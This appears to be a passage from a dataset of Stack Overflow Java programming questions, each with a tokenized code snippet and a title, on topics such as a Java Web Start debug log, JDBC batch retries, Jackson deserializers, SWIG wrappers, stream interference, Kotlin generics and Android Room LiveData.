//192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jarwas=com.sun.deploy.cache.CacheEntry ( 29348568 ) now=com.sun.deploy.cache.CacheEntry ( 24374818 ) network : Connessione a http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar con proxy=DIRECTnetwork : Connessione a http : //192.168.146.129:8091/ con proxy=DIRECTnetwork : Connessione http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar con cookie `` __ac= '' Qt/t/I4Nt7/qj0H5vhUrqR+ZrJYgcHJvZ2V0dGlzdGEx '' ; _ZopeId= '' 97847822A52RRctuIzM '' '' network : CleanupThread used 1 usnetwork : Scaricamento risorsa : http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar Content-Length : 1.940.942 Content-Encoding : nullnetwork : URL http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar scritto su file C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-27c7ae17-tempsecurity : File lista librerie sicure non trovatocache : Create from verifier : JarSigningData { hasOnlySignedEntries=true , hasSingleCodeSource=true , hasMissingSignedEntries=false } network : CleanupThread used 1 uscache : Replacing MemoryCache entry ( cnt=3 ) for http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jarwas=com.sun.deploy.cache.CacheEntry ( 24374818 ) now=com.sun.deploy.cache.CacheEntry ( 8045053 ) -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -This block is repeated at least 30 times before thiscache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23\5d616017-2432b323cache : MemoryCache : removed entry http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jarcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-515e0fdecache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-515e0fdecache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-642e11c6cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-642e11c6cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-36c18954cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-36c18954cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-3dd37d44cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-3dd37d44cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-74a8c32bcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-74a8c32bcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-2278e899cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-2278e899cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-36a95dcacache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-36a95dcacache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-15459ea4cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-15459ea4cache : Create from verifier : JarSigningData { hasOnlySignedEntries=true , hasSingleCodeSource=true , hasMissingSignedEntries=false } network : CleanupThread used 2 uscache : Adding MemoryCache entry : http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jarnetwork : Connessione a http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar con proxy=DIRECTnetwork : Connessione a http : //192.168.146.129:8091/ con proxy=DIRECTcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23\5d616017-1cffa7d0cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14\39df63ce-72747a9ecache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15\7e499c8f-55d9e14bcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23\5d616017-1ff05f86cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14\39df63ce-3623cf5ccache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15\7e499c8f-767f4e5ccache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-78a94a0bnetwork : Connessione http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar con cookie `` __ac= '' Qt/t/I4Nt7/qj0H5vhUrqR+ZrJYgcHJvZ2V0dGlzdGEx '' ; _ZopeId= '' 97847822A52RRctuIzM '' '' cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-16cf3e35cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14\39df63ce-3d8f935bcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15\7e499c8f-2b757fb1cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23\5d616017-65139493cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14\39df63ce-1d5deb21cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15\7e499c8f-3a4f46c6cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-48a86fb3cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-4b1ec669cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\23\5d616017-1c1ed2e1cache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\14\39df63ce-35f43fdacache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\15\7e499c8f-14bf2ddfcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-10a0c30fnetwork : CleanupThread used 1 usnetwork : Scaricamento risorsa : http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar Content-Length : 1.940.942 Content-Encoding : nullnetwork : URL http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jar scritto su file C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-203bfb91-tempsecurity : File lista librerie sicure non trovatocache : Create from verifier : JarSigningData { hasOnlySignedEntries=true , hasSingleCodeSource=true , hasMissingSignedEntries=false } network : CleanupThread used 1 uscache : Replacing MemoryCache entry ( cnt=3 ) for http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jarwas=com.sun.deploy.cache.CacheEntry ( 20330403 ) now=com.sun.deploy.cache.CacheEntry ( 8313353 ) cache : MemoryCache : removed entry http : //192.168.146.129:8091/Scia/sportello-unico-edilizia/archivio-pratiche-edilizie/permesso_di_costruire.2012-10-25.0455740504/portal_url/++resource++java/GestioneOneri.jarcache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-25fd39eccache : Closing CachedJarFile C : \Users\Andrea\AppData\LocalLow\Sun\Java\Deployment\cache\6.0\51\58374d33-25fd39ec import geotel.configuration.Configuration ; import geotel.gui.DatiPersonaliPanel ; import geotel.gui.DatiRatePanel2 ; import geotel.gui.GestionePratichePanel ; import geotel.gui.IManager ; import geotel.gui.ImportazionePanel ; import java.awt.Color ; import java.awt.Component ; import java.awt.GridLayout ; import java.awt.Image ; import java.awt.Toolkit ; import java.awt.event.MouseEvent ; import java.awt.event.MouseListener ; import java.net.URL ; import javax.swing.ImageIcon ; import javax.swing.JButton ; import javax.swing.JPanel ; import javax.swing.JTable ; import javax.swing.ListSelectionModel ; import javax.swing.table.TableCellRenderer ; import javax.swing.table.TableColumnModel ; import javax.swing.table.TableModel ; public class MyTable extends JTable { class ButtonsCellRenderer extends JPanel implements TableCellRenderer { private static final long serialVersionUID = -4945689480058875463L ; public Component getTableCellRendererComponent ( final JTable table , Object value , boolean isSelected , boolean hasFocus , final int row , int column ) { this.setLayout ( new GridLayout ( 1 , 1 ) ) ; if ( gestione instanceof ImportazionePanel ) { if ( column == 0 ) { URL editUrl = getClass ( ) .getResource ( `` /resource/images/051.gif '' ) ; Image editImage = Toolkit.getDefaultToolkit ( ) .getImage ( editUrl ) ; JButton edit = new JButton ( new ImageIcon ( editImage ) ) ; edit.setBorderPainted ( false ) ; edit.setContentAreaFilled ( false ) ; edit.setFocusPainted ( false ) ; edit.setOpaque ( false ) ; this.add ( edit ) ; } else { new Exception ( `` else non gestito '' ) .printStackTrace ( ) ; } } else { if ( column == 0 ) { URL editUrl = getClass ( ) .getResource ( `` /resource/images/005.gif '' ) ; Image editImage = Toolkit.getDefaultToolkit ( ) .getImage ( editUrl ) ; JButton editB = new JButton ( new ImageIcon ( editImage ) ) ; editB.setBorderPainted ( false ) ; editB.setContentAreaFilled ( false ) ; editB.setFocusPainted ( false ) ; editB.setOpaque ( false ) ; if ( gestione instanceof GestionePratichePanel ) { if ( Configuration.getRuoloUtenteConnesso ( ) .getModificaPratica ( ) ) { if ( edit ) editB.setEnabled ( true ) ; else editB.setEnabled ( false ) ; } else editB.setEnabled ( false ) ; } else if ( gestione instanceof DatiRatePanel2 ) { if ( getValueAt ( row , 5 ) ! = null & & ! getValueAt ( row , 5 ) .equals ( `` '' ) ) editB.setEnabled ( false ) ; else if ( Configuration.getRuoloUtenteConnesso ( ) .getModificaPagamento ( ) ) { if ( edit ) editB.setEnabled ( true ) ; else editB.setEnabled ( false ) ; } else editB.setEnabled ( false ) ; } else if ( gestione instanceof DatiPersonaliPanel ) { if ( edit ) editB.setEnabled ( true ) ; else editB.setEnabled ( false ) ; } this.add ( editB ) ; } else { URL removeUrl = getClass ( ) .getResource ( `` /resource/images/003.gif '' ) ; Image removeImage = Toolkit.getDefaultToolkit ( ) .getImage ( removeUrl ) ; JButton remove = new JButton ( new ImageIcon ( removeImage ) ) ; remove.setBorderPainted ( false ) ; remove.setContentAreaFilled ( false ) ; remove.setFocusPainted ( false ) ; remove.setOpaque ( false ) ; if ( gestione instanceof GestionePratichePanel ) { if ( Configuration.getRuoloUtenteConnesso ( ) .getEliminaPratica ( ) ) { if ( edit ) remove.setEnabled ( true ) ; else remove.setEnabled ( false ) ; } else remove.setEnabled ( false ) ; } else if ( gestione instanceof DatiRatePanel2 ) { if ( getValueAt ( row , 5 ) ! = null & & ! getValueAt ( row , 5 ) .equals ( `` '' ) ) remove.setEnabled ( false ) ; else if ( Configuration.getRuoloUtenteConnesso ( ) .getEliminaPagamento ( ) ) { if ( edit ) remove.setEnabled ( true ) ; else remove.setEnabled ( false ) ; } else remove.setEnabled ( false ) ; } else if ( gestione instanceof DatiPersonaliPanel ) { if ( edit ) remove.setEnabled ( true ) ; else remove.setEnabled ( false ) ; } this.add ( remove ) ; } } return this ; } } class MyTableButtonMouseListener implements MouseListener { private JTable ptable ; public MyTableButtonMouseListener ( JTable table ) { ptable = table ; } private void forwardEventToButton ( MouseEvent e ) { TableColumnModel columnModel = ptable.getColumnModel ( ) ; int column = columnModel.getColumnIndexAtX ( e.getX ( ) ) ; int row = e.getY ( ) / ptable.getRowHeight ( ) ; int value ; if ( gestione instanceof ImportazionePanel ) { if ( row < ptable.getRowCount ( ) & & row > = 0 & & column > = 0 & & column < 1 ) { ( ( ImportazionePanel ) gestione ) .importSelected ( ( String ) ptable.getValueAt ( row , 1 ) ) ; ptable.repaint ( ) ; } } else { if ( row < ptable.getRowCount ( ) & & row > = 0 & & column > = 0 & & column < 2 ) { try { value = ( Integer ) ptable.getValueAt ( row , 2 ) ; switch ( column ) { case 0 : { gestione.editAction ( value ) ; break ; } case 1 : { gestione.deleteAction ( value ) ; break ; } default : break ; } ptable.repaint ( ) ; } catch ( Exception e1 ) { e1.printStackTrace ( ) ; } } } } public void mouseClicked ( MouseEvent e ) { forwardEventToButton ( e ) ; } public void mouseEntered ( MouseEvent e ) { } public void mouseExited ( MouseEvent e ) { } public void mousePressed ( MouseEvent e ) { } public void mouseReleased ( MouseEvent e ) { } } private static final long serialVersionUID = 3591458853529380099L ; protected IManager gestione ; protected TableModel tm ; protected boolean edit ; public MyTable ( ) { super ( ) ; this.setBackground ( new Color ( 244 , 244 , 244 ) ) ; this.setShowHorizontalLines ( true ) ; this.setShowVerticalLines ( true ) ; this.getTableHeader ( ) .setReorderingAllowed ( false ) ; this.setRowSelectionAllowed ( true ) ; this.setSelectionMode ( ListSelectionModel.MULTIPLE_INTERVAL_SELECTION ) ; this.setFillsViewportHeight ( true ) ; this.addMouseListener ( new MyTableButtonMouseListener ( this ) ) ; } public MyTable ( TableModel tm , TableColumnModel columns , IManager gestione , boolean edit ) { super ( tm , columns ) ; this.tm = tm ; this.gestione = gestione ; this.edit = edit ; // this.setAutoResizeMode ( JTable.AUTO_RESIZE_OFF ) ; this.setBackground ( new Color ( 244 , 244 , 244 ) ) ; this.setShowHorizontalLines ( true ) ; this.setShowVerticalLines ( true ) ; this.getTableHeader ( ) .setReorderingAllowed ( false ) ; this.setRowSelectionAllowed ( true ) ; this.setSelectionMode ( ListSelectionModel.MULTIPLE_INTERVAL_SELECTION ) ; this.setFillsViewportHeight ( true ) ; this.addMouseListener ( new MyTableButtonMouseListener ( this ) ) ; } public TableCellRenderer getCellRenderer ( int row , int column ) { if ( this.gestione instanceof ImportazionePanel ) { if ( column < 1 ) { return new ButtonsCellRenderer ( ) ; } else return super.getCellRenderer ( row , column ) ; } else { if ( column < 2 ) { return new ButtonsCellRenderer ( ) ; } else { return super.getCellRenderer ( row , column ) ; } } } public RataTableRow getRowObjectByIndex ( int row ) { if ( gestione instanceof DatiRatePanel2 ) { return ( ( RateTableModel ) tm ) .getRowObjectByIndex ( row ) ; } return null ; } public Object [ ] getRowObjectById ( Integer id ) { Object [ ] ret = null ; for ( int i = 0 ; i < tm.getRowCount ( ) ; i++ ) { if ( tm.getValueAt ( i , 2 ) .equals ( id ) ) { ret = new Object [ tm.getColumnCount ( ) ] ; for ( int j = 0 ; j < tm.getColumnCount ( ) ; j++ ) ret [ j ] = tm.getValueAt ( i , j ) ; break ; } } return ret ; } public Component prepareRenderer ( TableCellRenderer renderer , int Index_row , int Index_col ) { Component comp = super.prepareRenderer ( renderer , Index_row , Index_col ) ; // even index , selected or not selected if ( Index_row % 2 == 0 ) { if ( ! isCellSelected ( Index_row , Index_col ) ) comp.setBackground ( new Color ( 240 , 240 , 240 ) ) ; else { comp.setForeground ( Color.black ) ; comp.setBackground ( Color.green ) ; } } else { if ( ! isCellSelected ( Index_row , Index_col ) ) comp.setBackground ( Color.white ) ; else { comp.setForeground ( Color.black ) ; comp.setBackground ( Color.green ) ; } } return comp ; } }",Applet hidden classnotfound exception +Java,"I have a block of code which updates records in a database . Reduced example : This is part of some code which is processing a lot of records , and the code is running a lot of threads for speed . That 's all fine , but as the load increases on the live environment , I 've been noticing a few SQLTransientExceptions being thrown . It seems I ca n't do anything about these except retry the transaction.My question is : could the batch have been cleared even though the statement failed ? Am I OK to simply retry the executeBatch line , or do I need to re-create the entire batch ? And is this the same for non-batch statements ? In short , and more generally , is this a good way to handle transient exceptions ?","... statement = connection.prepareStatement ( `` INSERT INTO thistable ( name ) VALUES ( ? ) '' , PreparedStatement.RETURN_GENERATED_KEYS ) ; statement.setString ( 1 , `` Fred '' ) ; statement.addBatch ( ) ; statement.setString ( 2 , `` Joe '' ) ; statement.addBatch ( ) ; statement.executeBatch ( ) ; ... statement.setString ( 1 , `` Fred '' ) ; statement.addBatch ( ) ; statement.setString ( 2 , `` Joe '' ) ; statement.addBatch ( ) ; for ( int attempt = 0 ; ; attempt ++ ) { try { statement.executeBatch ( ) ; break ; } catch ( SQLTransientException ex ) { if ( attempt > = 3 ) { throw ex ; } try { Thread.sleep ( attempt * attempt * 100 ) ; } catch ( InterruptedException ex2 ) { throw ex ; } } }",Can I re-use a PreparedStatement if it hits a transient exception ? +Java,"Note : I am using JUnit 4.11 and Netty 3.6.5.I am trying to test some basic functionality in my complicated server app . I want to extract simply the networking functionality and do some unit tests . However , when I try to create a unit test , the application simply exits . However , if I put a dummy public static void main , it works correctly , but outside of JUnit , obviously . Here 's the sscce :","public class SimpleNetwork { private Injector inj ; @ Before public void startInjector ( ) { Module mod = new AbstractModule ( ) { @ Override protected void configure ( ) { // Guice stuff you do n't need to see , it works fine } } ; inj = Guice.createInjector ( mod ) ; } // **When I run this using JUnit , the application ends immediately . ** @ Test public void testNetwork ( ) { NioServer server = inj.getInstance ( NioServer.class ) ; server.run ( ) ; // **This prints in both scenarios** System.out.println ( `` Hello World '' ) ; } // **When I run this , the application works as expected . ** public static void main ( String [ ] args ) { SimpleNetwork sn = new SimpleNetwork ( ) ; sn.startInjector ( ) ; sn.testNetwork ( ) ; } }",JUnit and Netty cause application to end prematurely +Java,"In trying to use weka from clojure , I 'm trying to convert this howto guide from the weka wiki to clojure using the java interop features of clojure.This has worked well so far , except in one case , where the clojure reflection mechanism ca n't seem to find the right method to invoke - I have : Later this will be invoked by the .evaluateModel method of the Evaluation class : where e-test is of type weka.classifiers.Evaluation and , according to their api documentation the method takes two parameters of types Classifier and InstancesWhat I get from clojure though is IllegalArgumentException No matching method found : evaluateModel for class weka.classifiers.Evaluation clojure.lang.Reflector.invokeMatchingMethod ( Reflector.java:53 ) - I guess that this is because c-model is actually of type NaiveBayes , although it should also be a Classifier - which it is , according to instance ? .I tried casting with cast to no avail , and from what I understand this is more of a type assertion ( and passes without problems , of course ) than a real cast in clojure . Is there another way of explicitly telling clojure which types to cast to in java interop method calls ? ( Note that the original guide I linked above also uses an explicit cast from NaiveBayes to Classifier ) Full code here : /http : //paste.lisp.org/display/129250",( def c-model ( doto ( NaiveBayes . ) ( .buildClassifier is-training-set ) ) ) ( .evaluateModel e-test c-model is-testing-set ),How to cast explicitly in clojure when interfacing with java +Java,I came across the following Java code that uses generics and inheritance . I truly do not understand what the following snippet does : What does this code do ? ( I got this from DBMaker in MapDB ),class A < B extends A < B > > { ... },Java Generics and Inheritance recursion +Java,"I am trying to read in the results of a cmd command ( dir for example ) . After creating the process , I use a BufferedReader in conjunction with an InputStreamReader . For some reason , the BufferedReader keeps coming up empty , even though I know that there must be some output to be read . Here is the code I 'm using :","String [ ] str = new String [ ] { `` cmd.exe '' , `` /c '' , `` cd '' , `` c : \\ '' , `` dir '' , `` /b '' , `` /s '' } ; Runtime rt = Runtime.getRuntime ( ) ; try { Process p = rt.exec ( str ) ; InputStream is =p.getInputStream ( ) ; System.out.println ( is.available ( ) ) ; InputStreamReader in = new InputStreamReader ( is ) ; StringBuffer sb = new StringBuffer ( ) ; BufferedReader buff = new BufferedReader ( in ) ; String line = buff.readLine ( ) ; System.out.println ( line ) ; while ( line ! = null ) { sb.append ( line + `` \n '' ) ; System.out.println ( line ) ; line = buff.readLine ( ) ; } System.out.println ( sb ) ; if ( sb.length ( ) ! = 0 ) { File f = new File ( `` test.txt '' ) ; FileOutputStream fos = new FileOutputStream ( f ) ; fos.write ( sb.toString ( ) .getBytes ( ) ) ; fos.close ( ) ; } } catch ( Exception ex ) { ex.printStackTrace ( ) ; }",Problem with the output of a cmd command in java +Java,"I wrote a custom deserializer for Jackson for a certain field ( follows ) . I use it with this annotation : It seems to work fine , as long as I pass a value in the field . When I started testing it , I passed the field with null as value . In this case it ignored my custom deserializer , skipped it and just put null as the value . It 's a problem because I have a unique way of action when I get null in that field.How can I force it to go through my custom deserializer when the value is null ? This is the custom deserializer I wrote : I looked a little bit into the ObjectMapper code , and saw this : It seems that the ObjectMapper first checks if the value is null , and if thus the case , returns a default value . Any ideas on how to force it to go through my deserializer ?","@ JsonDeserialize ( using = TokenTypeDeserializer.class ) TokenType type ; public static class TokenTypeDeserializer extends StdDeserializer < TokenType > { public TokenTypeDeserializer ( ) { this ( null ) ; } protected TokenTypeDeserializer ( Class < ? > vc ) { super ( vc ) ; } @ Override public TokenType deserialize ( JsonParser p , DeserializationContext ctxt ) throws IOException , JsonProcessingException { ObjectCodec oc = p.getCodec ( ) ; JsonNode node = oc.readTree ( p ) ; String type = node.asText ( ) ; TokenType tokenType = TokenType.getTokenTypeFromString ( type ) ; return tokenType ; } } public final Object deserialize ( JsonParser jp , DeserializationContext ctxt ) throws IOException , JsonProcessingException { JsonToken t = jp.getCurrentToken ( ) ; if ( t == JsonToken.VALUE_NULL ) { return ( _nullProvider == null ) ? null : _nullProvider.nullValue ( ctxt ) ; } if ( _valueTypeDeserializer ! = null ) { return _valueDeserializer.deserializeWithType ( jp , ctxt , _valueTypeDeserializer ) ; } return _valueDeserializer.deserialize ( jp , ctxt ) ; }",Jackson Ignores Custom Field Deserializer When Value is `` null '' +Java,"I have the following interface method definition written in Java : A Java-based consumer code is able to operate on this method simply by invoking it and treat the returned value as an object extending the View class and implementing the ISpecificView interface the following way : Trying to invoke the same code in Kotlin I get the Type inference failed : Not enough information to infer parameter T ( ... ) Please specify it explicitly error on the getSpecificView ( ) method.I 'd love to provide the type explicitly , but I 'm unable to pass any specific class , since it may be any ancestor of the View class that implements the ISpecificView interface . Passing either single View or ISpecificView does not help - it results in the Type argument is not within its bounds . Expected : View ! Found ICustomView and vice versa.Is there any possibility to pass an equivalent to Java 's T extends View & ISpecificView in Kotlin while calling a method , so I can make use of it ?",< T extends View & ISpecificView > T getSpecificView ( ) ; getContainer ( ) .getSpecificView ( ) .whateverTclassMethod ( ),Invoking a method with a generic type in Kotlin with multiple parameter type constraints +Java,"I am writing a JNI wrapper for a C++ library using SWIG.One of the methods in a library returns an array of structs in an allocated memory : Method signature in java should look something like this : Thus I am expecting SWIG to generate java DataStruct in java and wrapper that would call the library method , then create an jarray of DataStruct in JVM and fill it with DataStruct objects initialized from DataStruct structs returned by the library and finally free the allocated memory pointed by ppdata.I 've been trying to wrap my head around SWIG typemaps for some time and the only solution I see for now is to use % native directive and create JNI implementaion fully manually . Can I get at least some help from SWIG in this case ?","typedef struct { int id ; double x ; double y ; } DataStruct ; int get_all_data ( long ref , DataStruct **ppdata , size_t *psize ) { // ... prepare the data by the ref *ppdata = ( DataStruct* ) malloc ( sizeof ( DataStruct ) * size ) ; *psize = size ; return 0 ; } native DataStruct [ ] get_all_data ( long ref ) ;",Return an array of java objects using SWIG +Java,I copy DB from assets by this code : to get Dao I use this : But how to get Dao if my DB will be Password protected ?,"public class DatabaseHelper extends OrmLiteSqliteOpenHelper { private static final String DATABASE_NAME = `` database.db '' ; private static final String DATABASE_PATH = `` /data/data/ '' +BuildConfig.APPLICATION_ID+ '' /databases/ '' ; public DatabaseHelper ( Context context ) { super ( context , DATABASE_NAME , null , DATABASE_VERSION ) ; copyFromAssets ( context ) ; } private void copyFromAssets ( Context context ) { boolean dbexist = checkdatabase ( ) ; if ( ! dbexist ) { File dir = new File ( DATABASE_PATH ) ; dir.mkdirs ( ) ; InputStream myinput = context.getAssets ( ) .open ( DATABASE_NAME ) ; String outfilename = DATABASE_PATH + DATABASE_NAME ; Log.i ( DatabaseHelper.class.getName ( ) , `` DB Path : `` + outfilename ) ; OutputStream myoutput = new FileOutputStream ( outfilename ) ; byte [ ] buffer = new byte [ 1024 ] ; int length ; while ( ( length = myinput.read ( buffer ) ) > 0 ) { myoutput.write ( buffer , 0 , length ) ; } myoutput.flush ( ) ; myoutput.close ( ) ; myinput.close ( ) ; } } } public Dao < AnyItem , Integer > getDaoAnyItem ( ) throws SQLException { if ( daoAnyItem == null ) { daoAnyItem = getDao ( AnyItem.class ) ; } return daoAnyItem ; }",How to connect to Password protected SQLite DB with OrmLite ? +Java,"According to this question , we can modify the source and it 's not called interference : you can modify the stream elements themselves and it should not be called as `` interference '' .According to this question , the codewill throw ConcurrentModificationException.But my code , does n't throw ConcurrentModificationException , even though it in fact changes the source.And this code , throwsSo , I do n't exactly understand what type of modifications are allowed to the source and what are not . It would be very helpful to see an example which interferes and have a stateful and side-effect producing stream , with proper indication that which is which .","List < String > list = new ArrayList < > ( ) ; list.add ( `` test '' ) ; list.forEach ( x - > list.add ( x ) ) ; Employee [ ] arrayOfEmps = { new Employee ( 1 , `` Jeff Bezos '' ) , new Employee ( 2 , `` Bill Gates '' ) , new Employee ( 3 , `` hendry cavilg '' ) , new Employee ( 4 , `` mark cuban '' ) , new Employee ( 5 , `` zoe '' ) , new Employee ( 6 , `` billl clinton '' ) , new Employee ( 7 , `` ariana '' ) , new Employee ( 8 , `` cathre '' ) , new Employee ( 9 , `` hostile '' ) , new Employee ( 10 , `` verner '' ) , } ; Employee el=new Employee ( 1 , `` Jeff Bezos '' ) ; List < Employee > li=Arrays.asList ( arrayOfEmps ) ; li.stream ( ) .map ( s- > { s.setName ( `` newname '' ) ; return s ; } ) .forEach ( System.out : :print ) ; Employee [ ] arrayOfEmps = { new Employee ( 1 , `` Jeff Bezos '' ) , new Employee ( 2 , `` Bill Gates '' ) , new Employee ( 3 , `` hendry cavilg '' ) , new Employee ( 4 , `` mark cuban '' ) , new Employee ( 5 , `` zoe '' ) , new Employee ( 6 , `` billl clinton '' ) , new Employee ( 7 , `` ariana '' ) , new Employee ( 8 , `` cathre '' ) , new Employee ( 9 , `` hostile '' ) , new Employee ( 10 , `` verner '' ) , } ; Employee el=new Employee ( 1 , `` Jeff Bezos '' ) ; List < Employee > li=Arrays.asList ( arrayOfEmps ) ; li.stream ( ) .map ( s- > { s.setName ( `` newname '' ) ; li.add ( s ) ; return s ; } ) .limit ( 10 ) .forEach ( System.out : :print ) ; Exception in thread `` main '' java.lang.UnsupportedOperationException at java.util.AbstractList.add ( Unknown Source ) at java.util.AbstractList.add ( Unknown Source ) at java8.Streams.lambda $ 0 ( Streams.java:33 ) at java.util.stream.ReferencePipeline $ 3 $ 1.accept ( Unknown Source ) at java.util.Spliterators $ ArraySpliterator.forEachRemaining ( Unknown Source ) at java.util.stream.AbstractPipeline.copyInto ( Unknown Source ) at java.util.stream.AbstractPipeline.wrapAndCopyInto ( Unknown Source ) at java.util.stream.ForEachOps $ ForEachOp.evaluateSequential ( Unknown Source ) at java.util.stream.ForEachOps $ ForEachOp $ OfRef.evaluateSequential ( Unknown Source ) at java.util.stream.AbstractPipeline.evaluate ( Unknown Source ) at java.util.stream.ReferencePipeline.forEach ( Unknown Source )",Example of non-interference in Java 8 +Java,"This has been boggling me as to why its better to have an abstract class . So lets say i have to calculate areas of a different shapes ( circle , rectangle ) . I was taught its better to have a abstract/interface shape and then classes such as Rectangle , Circle extending it.I made the following codeIt seems like shape class serves no purpose . I ca n't do an impementation of getArea in shape class , since different shapes calculate area differently . I could just remove shape class and make my code simpler.So what would be the actual purpose of having an abstract/interface class shape ? Thanks in advance for any explanations",abstract class Shape { abstract int getArea ( ) ; } class Rectangle extends Shape { private int width ; private int height ; public Rectangle ( ) { this.width = width ; this.height = height ; } // get set methods ommited public int getArea ( ) { return width * height ; } },Why bother with abstract or interface classes ? +Java,I want to select data on room database with livedata from service class . How to cast the LifecycleOwner when observe it ?,"repositoryDatabase.getTimeline ( ) .observe ( this , timelineList - > { if ( timelineList ! = null & & timelineList.size ( ) > = 10 ) { JSONArray arrayTimeline = new JSONArray ( ) ; for ( TimelineEntity timeline : timelineList ) { JSONObject objectTimeline = new JSONObject ( ) ; try { objectTimeline.put ( `` doku '' , timeline.getIdDokumen ( ) ) ; 